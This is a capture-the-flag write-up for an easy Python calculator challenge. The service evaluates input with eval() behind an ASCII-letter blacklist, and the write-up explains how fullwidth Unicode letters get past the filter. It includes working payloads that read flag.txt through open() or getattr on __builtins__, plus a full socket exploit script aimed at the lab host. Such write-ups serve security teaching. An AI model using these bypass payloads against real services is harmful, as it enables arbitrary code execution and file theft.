Безопасный калькулятор
Безопасный калькулятор
Platform: hackerlab | Category: Misc | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2025-12-25 | Status: Solved Techniques: blacklist_bypass, fullwidth_unicode, python_eval_injection, unicode_normalization_bypass
Summary
Task: Python calculator service using eval() with ASCII letter blacklist. Solution: Bypass the filter using Unicode fullwidth letters which Python normalizes to regular ASCII identifiers.
Безопасный калькулятор — hackerlab
Description
"Я вроде пофиксил уязвимости, что были в прошлой версии калькулятора..."
A Python calculator service that uses eval() for computations but blocks all ASCII letters (a-z, A-Z) as a security measure.
Analysis
Vulnerability
The blacklist only checks ASCII letters, but Python accepts Unicode fullwidth letters as valid identifiers. Fullwidth letters (U+FF41-U+FF5A for a-z, U+FF21-U+FF3A for A-Z) look visually similar but have different Unicode codepoints.
Why This Works
Python 3 supports Unicode identifiers. When parsing code, Python normalizes Unicode characters, so:
open(fullwidth) is interpreted asopenchr(fullwidth) is interpreted aschrread(fullwidth) is interpreted asread
Bypass Technique
- Convert function names (
open,chr,read) to fullwidth Unicode equivalents - Use
chr()to build the filename string without ASCII letters
Solution
Payload
python read-only • copy allowedopen(chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)).read() # Equivalent: open("flag.txt").read()
Exploit
python read-only • copy allowed#!/usr/bin/env python3 import socket def to_fullwidth(s): """Converts ASCII letters to fullwidth Unicode""" result = '' for c in s: if 'a' <= c <= 'z': result += chr(ord(c) - ord('a') + 0xFF41) elif 'A' <= c <= 'Z': result += chr(ord(c) - ord('A') + 0xFF21) else: result += c return result def str_to_chr(s): """Converts string to chr() calls with fullwidth function name""" return '+'.join([to_fullwidth('chr') + '(' + str(ord(c)) + ')' for c in s]) # Connect to service s = socket.socket() s.connect(('192.169.2.100', 10001)) s.recv(4096) # Get banner # Build payload filename = str_to_chr('flag.txt') # chr(102)+chr(108)+... payload = to_fullwidth('open') + '(' + filename + ').' + to_fullwidth('read') + '()' # Send and get flag s.send(payload.encode('utf-8') + b'\n') print(s.recv(4096).decode())
Alternative Payload (via builtins)
python read-only • copy allowed# If open is blocked, you can use: getattr(getattr(__builtins__,chr(111)+chr(112)+chr(101)+chr(110))(chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)),chr(114)+chr(101)+chr(97)+chr(100))()
Unicode Fullwidth Reference
| ASCII | Fullwidth | Codepoint |
|---|---|---|
| a-z | a-z | U+FF41-U+FF5A |
| A-Z | A-Z | U+FF21-U+FF3A |
| 0-9 | 0-9 | U+FF10-U+FF19 |
Related Techniques
- Unicode Normalization Attack — using different Unicode representations of the same character
- Homoglyph Attack — visually similar characters from different alphabets
- Python eval() injection — executing arbitrary code via eval()